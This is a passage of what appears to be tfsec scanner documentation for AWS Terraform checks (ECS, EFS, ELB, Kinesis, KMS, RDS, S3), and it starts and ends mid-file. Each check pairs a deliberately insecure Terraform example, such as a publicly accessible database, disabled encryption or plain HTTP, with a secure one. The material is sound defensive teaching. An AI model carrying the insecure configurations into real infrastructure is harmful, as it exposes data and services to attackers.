42 | } 43 | 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/security_group_rule#cidr_blocks](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/security_group_rule#cidr_blocks){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-rules-reference.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-rules-reference.html){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/aws/ecr/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ecr 3 | --- 4 | 5 | # ecr 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-image-scans](enable-image-scans) ECR repository has image scans disabled. 11 | 12 | - [enforce-immutable-repository](enforce-immutable-repository) ECR images tags shouldn't be mutable. 13 | 14 | - [no-public-access](no-public-access) ECR repository policy must block public access 15 | 16 | - [repository-customer-key](repository-customer-key) ECR Repository should use customer managed keys to allow more control 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /docs/checks/aws/ecs/enable-container-insight/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ECS clusters should have container insights enabled 3 | --- 4 | 5 | # ECS clusters should have container insights enabled 6 | 7 | ### Default Severity: low 8 | 9 | ### Explanation 10 | 11 | Cloudwatch Container Insights provide more metrics and logs for container based applications and micro services. 12 | 13 | ### Possible Impact 14 | Not all metrics and logs may be gathered for containers when Container Insights isn't enabled 15 | 16 | ### Suggested Resolution 17 | Enable Container Insights 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ecs-enable-container-insight check. 23 | ```terraform 24 | 25 | resource "aws_ecs_cluster" "bad_example" { 26 | name = "services-cluster" 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-ecs-enable-container-insight check. 36 | ```terraform 37 | 38 | resource "aws_ecs_cluster" "good_example" { 39 | name = "services-cluster" 40 | 41 | setting { 42 | name = "containerInsights" 43 | value = "enabled" 44 | } 45 | } 46 | 47 | ``` 48 | 49 | 50 | 51 | ### Links 52 | 53 | 54 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecs_cluster#setting](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecs_cluster#setting){:target="_blank" rel="nofollow noreferrer noopener"} 55 | 56 | - [https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/ContainerInsights.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/ContainerInsights.html){:target="_blank" rel="nofollow noreferrer noopener"} 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /docs/checks/aws/ecs/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ecs 3 | --- 4 | 5 | # ecs 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-container-insight](enable-container-insight) ECS clusters should have container insights enabled 11 | 12 | - [enable-in-transit-encryption](enable-in-transit-encryption) ECS Task Definitions with EFS volumes should use in-transit encryption 13 | 14 | - [no-plaintext-secrets](no-plaintext-secrets) Task definition defines sensitive environment variable(s). 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/aws/efs/enable-at-rest-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: EFS Encryption has not been enabled 3 | --- 4 | 5 | # EFS Encryption has not been enabled 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | If your organization is subject to corporate or regulatory policies that require encryption of data and metadata at rest, we recommend creating a file system that is encrypted at rest, and mounting your file system using encryption of data in transit. 12 | 13 | ### Possible Impact 14 | Data can be read from the EFS if compromised 15 | 16 | ### Suggested Resolution 17 | Enable encryption for EFS 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-efs-enable-at-rest-encryption check. 23 | ```terraform 24 | 25 | resource "aws_efs_file_system" "bad_example" { 26 | name = "bar" 27 | encrypted = false 28 | kms_key_id = "" 29 | } 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the aws-efs-enable-at-rest-encryption check. 37 | ```terraform 38 | 39 | resource "aws_efs_file_system" "good_example" { 40 | name = "bar" 41 | encrypted = true 42 | kms_key_id = "my_kms_key" 43 | } 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/efs_file_system](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/efs_file_system){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | - [https://docs.aws.amazon.com/efs/latest/ug/encryption.html](https://docs.aws.amazon.com/efs/latest/ug/encryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/aws/efs/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: efs 3 | --- 4 | 5 | # efs 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-at-rest-encryption](enable-at-rest-encryption) EFS Encryption has not been enabled 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/aws/eks/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: eks 3 | --- 4 | 5 | # eks 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-control-plane-logging](enable-control-plane-logging) EKS Clusters should have cluster control plane logging turned on 11 | 12 | - [encrypt-secrets](encrypt-secrets) EKS should have the encryption of secrets enabled 13 | 14 | - [no-public-cluster-access](no-public-cluster-access) EKS Clusters should have the public access disabled 15 | 16 | - [no-public-cluster-access-to-cidr](no-public-cluster-access-to-cidr) EKS cluster should not have open CIDR range for public access 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /docs/checks/aws/elastic-search/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: elastic-search 3 | --- 4 | 5 | # elastic-search 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-domain-encryption](enable-domain-encryption) Elasticsearch domain isn't encrypted at rest. 11 | 12 | - [enable-domain-logging](enable-domain-logging) Domain logging should be enabled for Elastic Search domains 13 | 14 | - [enable-in-transit-encryption](enable-in-transit-encryption) Elasticsearch domain uses plaintext traffic for node to node communication. 15 | 16 | - [enforce-https](enforce-https) Elasticsearch doesn't enforce HTTPS traffic. 17 | 18 | - [use-secure-tls-policy](use-secure-tls-policy) Elasticsearch domain endpoint is using outdated TLS policy. 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /docs/checks/aws/elasticache/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: elasticache 3 | --- 4 | 5 | # elasticache 6 | 7 | ## Checks 8 | 9 | 10 | - [add-description-for-security-group](add-description-for-security-group) Missing description for security group/security group rule. 11 | 12 | - [enable-at-rest-encryption](enable-at-rest-encryption) Elasticache Replication Group stores unencrypted data at-rest. 13 | 14 | - [enable-backup-retention](enable-backup-retention) Redis cluster should have backup retention turned on 15 | 16 | - [enable-in-transit-encryption](enable-in-transit-encryption) Elasticache Replication Group uses unencrypted traffic. 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /docs/checks/aws/elb/alb-not-public/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Load balancer is exposed to the internet. 3 | --- 4 | 5 | # Load balancer is exposed to the internet. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | There are many scenarios in which you would want to expose a load balancer to the wider internet, but this check exists as a warning to prevent accidental exposure of internal assets. You should ensure that this resource should be exposed publicly. 12 | 13 | ### Possible Impact 14 | The load balancer is exposed on the internet 15 | 16 | ### Suggested Resolution 17 | Switch to an internal load balancer or add a tfsec ignore 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-elb-alb-not-public check. 23 | ```terraform 24 | 25 | resource "aws_alb" "bad_example" { 26 | internal = false 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-elb-alb-not-public check. 36 | ```terraform 37 | 38 | resource "aws_alb" "good_example" { 39 | internal = true 40 | } 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lb](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lb){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /docs/checks/aws/elb/http-not-used/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Use of plain HTTP. 3 | --- 4 | 5 | # Use of plain HTTP. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Plain HTTP is unencrypted and human-readable. This means that if a malicious actor was to eavesdrop on your connection, they would be able to see all of your data flowing back and forth. 12 | 13 | You should use HTTPS, which is HTTP over an encrypted (TLS) connection, meaning eavesdroppers cannot read your traffic. 14 | 15 | ### Possible Impact 16 | Your traffic is not protected 17 | 18 | ### Suggested Resolution 19 | Switch to HTTPS to benefit from TLS security features 20 | 21 | 22 | ### Insecure Example 23 | 24 | The following example will fail the aws-elb-http-not-used check. 25 | ```terraform 26 | 27 | resource "aws_alb_listener" "bad_example" { 28 | protocol = "HTTP" 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-elb-http-not-used check. 38 | ```terraform 39 | 40 | resource "aws_alb_listener" "good_example" { 41 | protocol = "HTTPS" 42 | } 43 | 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lb_listener](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lb_listener){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | - [https://www.cloudflare.com/en-gb/learning/ssl/why-is-http-not-secure/](https://www.cloudflare.com/en-gb/learning/ssl/why-is-http-not-secure/){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/aws/elb/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: elb 3 | --- 4 | 5 | # elb 6 | 7 | ## Checks 8 | 9 | 10 | - [alb-not-public](alb-not-public) Load balancer is exposed to the internet. 11 | 12 | - [drop-invalid-headers](drop-invalid-headers) Load balancers should drop invalid headers 13 | 14 | - [http-not-used](http-not-used) Use of plain HTTP. 15 | 16 | - [use-secure-tls-policy](use-secure-tls-policy) An outdated SSL policy is in use by a load balancer. 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /docs/checks/aws/elb/use-secure-tls-policy/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An outdated SSL policy is in use by a load balancer. 3 | --- 4 | 5 | # An outdated SSL policy is in use by a load balancer. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | You should not use outdated/insecure TLS versions for encryption. You should be using TLS v1.2+. 12 | 13 | ### Possible Impact 14 | The SSL policy is outdated and has known vulnerabilities 15 | 16 | ### Suggested Resolution 17 | Use a more recent TLS/SSL policy for the load balancer 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-elb-use-secure-tls-policy check. 23 | ```terraform 24 | 25 | resource "aws_alb_listener" "bad_example" { 26 | ssl_policy = "ELBSecurityPolicy-TLS-1-1-2017-01" 27 | protocol = "HTTPS" 28 | } 29 | 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the aws-elb-use-secure-tls-policy check. 37 | ```terraform 38 | 39 | resource "aws_alb_listener" "good_example" { 40 | ssl_policy = "ELBSecurityPolicy-TLS-1-2-2017-01" 41 | protocol = "HTTPS" 42 | } 43 | 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lb_listener](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lb_listener){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/emr/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: emr 3 | --- 4 | 5 | # emr 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-at-rest-encryption](enable-at-rest-encryption) Enable at-rest encryption for EMR clusters. 11 | 12 | - [enable-in-transit-encryption](enable-in-transit-encryption) Enable in-transit encryption for EMR clusters. 13 | 14 | - [enable-local-disk-encryption](enable-local-disk-encryption) Enable local-disk encryption for EMR clusters. 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/aws/iam/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: iam 3 | --- 4 | 5 | # iam 6 | 7 | ## Checks 8 | 9 | 10 | - [enforce-group-mfa](enforce-group-mfa) IAM groups should have MFA enforcement activated. 11 | 12 | - [no-password-reuse](no-password-reuse) IAM Password policy should prevent password reuse. 13 | 14 | - [no-policy-wildcards](no-policy-wildcards) IAM policy should avoid use of wildcards and instead apply the principle of least privilege 15 | 16 | - [no-root-access-keys](no-root-access-keys) The root user has complete access to all services and resources in an AWS account. AWS Access Keys provide programmatic access to a given account. 17 | 18 | - [no-user-attached-policies](no-user-attached-policies) IAM policies should not be granted directly to users. 19 | 20 | - [require-lowercase-in-passwords](require-lowercase-in-passwords) IAM Password policy should have requirement for at least one lowercase character. 21 | 22 | - [require-numbers-in-passwords](require-numbers-in-passwords) IAM Password policy should have requirement for at least one number in the password. 23 | 24 | - [require-symbols-in-passwords](require-symbols-in-passwords) IAM Password policy should have requirement for at least one symbol in the password. 25 | 26 | - [require-uppercase-in-passwords](require-uppercase-in-passwords) IAM Password policy should have requirement for at least one uppercase character. 27 | 28 | - [set-max-password-age](set-max-password-age) IAM Password policy should have expiry less than or equal to 90 days. 29 | 30 | - [set-minimum-password-length](set-minimum-password-length) IAM Password policy should have minimum password length of 14 or more characters. 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /docs/checks/aws/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: aws 3 | --- 4 | 5 | # aws 6 | 7 | ## Services 8 | 9 | 10 | - [api-gateway](api-gateway) 11 | 12 | - [athena](athena) 13 | 14 | - [cloudfront](cloudfront) 15 | 16 | - [cloudtrail](cloudtrail) 17 | 18 | - [cloudwatch](cloudwatch) 19 | 20 | - [codebuild](codebuild) 21 | 22 | - [config](config) 23 | 24 | - [documentdb](documentdb) 25 | 26 | - [dynamodb](dynamodb) 27 | 28 | - [ec2](ec2) 29 | 30 | - [ecr](ecr) 31 | 32 | - [ecs](ecs) 33 | 34 | - [efs](efs) 35 | 36 | - [eks](eks) 37 | 38 | - [elastic-search](elastic-search) 39 | 40 | - [elasticache](elasticache) 41 | 42 | - [elb](elb) 43 | 44 | - [emr](emr) 45 | 46 | - [iam](iam) 47 | 48 | - [kinesis](kinesis) 49 | 50 | - [kms](kms) 51 | 52 | - [lambda](lambda) 53 | 54 | - [mq](mq) 55 | 56 | - [msk](msk) 57 | 58 | - [neptune](neptune) 59 | 60 | - [rds](rds) 61 | 62 | - [redshift](redshift) 63 | 64 | - [s3](s3) 65 | 66 | - [sns](sns) 67 | 68 | - [sqs](sqs) 69 | 70 | - [ssm](ssm) 71 | 72 | - [workspaces](workspaces) 73 | 74 | 75 | -------------------------------------------------------------------------------- /docs/checks/aws/kinesis/enable-in-transit-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Kinesis stream is unencrypted. 3 | --- 4 | 5 | # Kinesis stream is unencrypted. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Kinesis streams should be encrypted to ensure sensitive data is kept private. Additionally, non-default KMS keys should be used so granularity of access control can be ensured. 12 | 13 | ### Possible Impact 14 | Intercepted data can be read in transit 15 | 16 | ### Suggested Resolution 17 | Enable in transit encryption 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-kinesis-enable-in-transit-encryption check. 23 | ```terraform 24 | 25 | resource "aws_kinesis_stream" "bad_example" { 26 | encryption_type = "NONE" 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-kinesis-enable-in-transit-encryption check. 36 | ```terraform 37 | 38 | resource "aws_kinesis_stream" "good_example" { 39 | encryption_type = "KMS" 40 | kms_key_id = "my/special/key" 41 | } 42 | 43 | ``` 44 | 45 | 46 | 47 | ### Links 48 | 49 | 50 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type){:target="_blank" rel="nofollow noreferrer noopener"} 51 | 52 | - [https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html](https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /docs/checks/aws/kinesis/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: kinesis 3 | --- 4 | 5 | # kinesis 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-in-transit-encryption](enable-in-transit-encryption) Kinesis stream is unencrypted. 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/aws/kms/auto-rotate-keys/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: A KMS key is not configured to auto-rotate. 3 | --- 4 | 5 | # A KMS key is not configured to auto-rotate. 6 | 7 | ### Default Severity: medium 8 | 9 | ### Explanation 10 | 11 | You should configure your KMS keys to auto rotate to maintain security and defend against compromise. 12 | 13 | ### Possible Impact 14 | Long life KMS keys increase the attack surface when compromised 15 | 16 | ### Suggested Resolution 17 | Configure KMS key to auto rotate 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-kms-auto-rotate-keys check. 23 | ```terraform 24 | 25 | resource "aws_kms_key" "bad_example" { 26 | enable_key_rotation = false 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-kms-auto-rotate-keys check. 36 | ```terraform 37 | 38 | resource "aws_kms_key" "good_example" { 39 | enable_key_rotation = true 40 | } 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kms_key#enable_key_rotation](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kms_key#enable_key_rotation){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/kms/latest/developerguide/rotate-keys.html](https://docs.aws.amazon.com/kms/latest/developerguide/rotate-keys.html){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/kms/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: kms 3 | --- 4 | 5 | # kms 6 | 7 | ## Checks 8 | 9 | 10 | - [auto-rotate-keys](auto-rotate-keys) A KMS key is not configured to auto-rotate. 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/aws/lambda/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: lambda 3 | --- 4 | 5 | # lambda 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-tracing](enable-tracing) Lambda functions should have X-Ray tracing enabled 11 | 12 | - [restrict-source-arn](restrict-source-arn) Ensure that lambda function permission has a source arn specified 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/aws/mq/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: mq 3 | --- 4 | 5 | # mq 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-audit-logging](enable-audit-logging) MQ Broker should have audit logging enabled 11 | 12 | - [enable-general-logging](enable-general-logging) MQ Broker should have general logging enabled 13 | 14 | - [no-public-access](no-public-access) Ensure MQ Broker is not publicly exposed 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/aws/msk/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: msk 3 | --- 4 | 5 | # msk 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-in-transit-encryption](enable-in-transit-encryption) A MSK cluster allows unencrypted data in transit. 11 | 12 | - [enable-logging](enable-logging) Ensure MSK Cluster logging is enabled 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/aws/neptune/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: neptune 3 | --- 4 | 5 | # neptune 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-log-export](enable-log-export) Neptune logs export should be enabled 11 | 12 | - [enable-storage-encryption](enable-storage-encryption) Neptune storage must be encrypted at rest 13 | 14 | - [encryption-customer-key](encryption-customer-key) Neptune encryption should use Customer Managed Keys 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/aws/rds/encrypt-instance-storage-data/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: RDS encryption has not been enabled at a DB Instance level. 3 | --- 4 | 5 | # RDS encryption has not been enabled at a DB Instance level. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Encryption should be enabled for an RDS Database instances. 12 | 13 | When enabling encryption by setting the kms_key_id. 14 | 15 | ### Possible Impact 16 | Data can be read from RDS instances if compromised 17 | 18 | ### Suggested Resolution 19 | Enable encryption for RDS instances 20 | 21 | 22 | ### Insecure Example 23 | 24 | The following example will fail the aws-rds-encrypt-instance-storage-data check. 25 | ```terraform 26 | 27 | resource "aws_db_instance" "bad_example" { 28 | 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-rds-encrypt-instance-storage-data check. 38 | ```terraform 39 | 40 | resource "aws_db_instance" "good_example" { 41 | storage_encrypted = true 42 | } 43 | 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | - [https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.Encryption.html](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.Encryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/aws/rds/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: rds 3 | --- 4 | 5 | # rds 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-performance-insights](enable-performance-insights) Enable Performance Insights to detect potential problems 11 | 12 | - [enable-performance-insights-encryption](enable-performance-insights-encryption) Encryption for RDS Performance Insights should be enabled. 13 | 14 | - [encrypt-cluster-storage-data](encrypt-cluster-storage-data) There is no encryption specified or encryption is disabled on the RDS Cluster. 15 | 16 | - [encrypt-instance-storage-data](encrypt-instance-storage-data) RDS encryption has not been enabled at a DB Instance level. 17 | 18 | - [no-classic-resources](no-classic-resources) AWS Classic resource usage. 19 | 20 | - [no-public-db-access](no-public-db-access) A database resource is marked as publicly accessible. 21 | 22 | - [specify-backup-retention](specify-backup-retention) RDS Cluster and RDS instance should have backup retention longer than default 1 day 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /docs/checks/aws/rds/no-classic-resources/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: AWS Classic resource usage. 3 | --- 4 | 5 | # AWS Classic resource usage. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | AWS Classic resources run in a shared environment with infrastructure owned by other AWS customers. You should run 12 | resources in a VPC instead. 13 | 14 | ### Possible Impact 15 | Classic resources are running in a shared environment with other customers 16 | 17 | ### Suggested Resolution 18 | Switch to VPC resources 19 | 20 | 21 | ### Insecure Example 22 | 23 | The following example will fail the aws-rds-no-classic-resources check. 24 | ```terraform 25 | 26 | resource "aws_db_security_group" "bad_example" { 27 | # ... 28 | } 29 | 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the aws-rds-no-classic-resources check. 37 | ```terraform 38 | 39 | resource "aws_security_group" "good_example" { 40 | # ... 41 | } 42 | 43 | ``` 44 | 45 | 46 | 47 | ### Links 48 | 49 | 50 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_security_group](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_security_group){:target="_blank" rel="nofollow noreferrer noopener"} 51 | 52 | - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html){:target="_blank" rel="nofollow noreferrer noopener"} 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /docs/checks/aws/rds/no-public-db-access/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: A database resource is marked as publicly accessible. 3 | --- 4 | 5 | # A database resource is marked as publicly accessible. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Database resources should not publicly available. You should limit all access to the minimum that is required for your application to function. 12 | 13 | ### Possible Impact 14 | The database instance is publicly accessible 15 | 16 | ### Suggested Resolution 17 | Set the database to not be publicly accessible 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-rds-no-public-db-access check. 23 | ```terraform 24 | 25 | resource "aws_db_instance" "bad_example" { 26 | publicly_accessible = true 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-rds-no-public-db-access check. 36 | ```terraform 37 | 38 | resource "aws_db_instance" "good_example" { 39 | publicly_accessible = false 40 | } 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/redshift/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: redshift 3 | --- 4 | 5 | # redshift 6 | 7 | ## Checks 8 | 9 | 10 | - [encryption-customer-key](encryption-customer-key) Redshift clusters should use at rest encryption 11 | 12 | - [use-vpc](use-vpc) Redshift cluster should be deployed into a specific VPC 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/aws/s3/enable-bucket-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Unencrypted S3 bucket. 3 | --- 4 | 5 | # Unencrypted S3 bucket. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | S3 Buckets should be encrypted to protect the data that is stored within them if access is compromised. 12 | 13 | ### Possible Impact 14 | The bucket objects could be read if compromised 15 | 16 | ### Suggested Resolution 17 | Configure bucket encryption 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-s3-enable-bucket-encryption check. 23 | ```terraform 24 | 25 | resource "aws_s3_bucket" "bad_example" { 26 | bucket = "mybucket" 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-s3-enable-bucket-encryption check. 36 | ```terraform 37 | 38 | resource "aws_s3_bucket" "good_example" { 39 | bucket = "mybucket" 40 | 41 | server_side_encryption_configuration { 42 | rule { 43 | apply_server_side_encryption_by_default { 44 | kms_master_key_id = "arn" 45 | sse_algorithm = "aws:kms" 46 | } 47 | } 48 | } 49 | } 50 | 51 | ``` 52 | 53 | 54 | 55 | ### Links 56 | 57 | 58 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#enable-default-server-side-encryption](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#enable-default-server-side-encryption){:target="_blank" rel="nofollow noreferrer noopener"} 59 | 60 | - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /docs/checks/aws/s3/enable-bucket-logging/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: S3 Bucket does not have logging enabled. 3 | --- 4 | 5 | # S3 Bucket does not have logging enabled. 6 | 7 | ### Default Severity: medium 8 | 9 | ### Explanation 10 | 11 | Buckets should have logging enabled so that access can be audited. 12 | 13 | ### Possible Impact 14 | There is no way to determine the access to this bucket 15 | 16 | ### Suggested Resolution 17 | Add a logging block to the resource to enable access logging 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-s3-enable-bucket-logging check. 23 | ```terraform 24 | 25 | resource "aws_s3_bucket" "bad_example" { 26 | 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-s3-enable-bucket-logging check. 36 | ```terraform 37 | 38 | resource "aws_s3_bucket" "good_example" { 39 | logging { 40 | target_bucket = "target-bucket" 41 | } 42 | } 43 | 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - 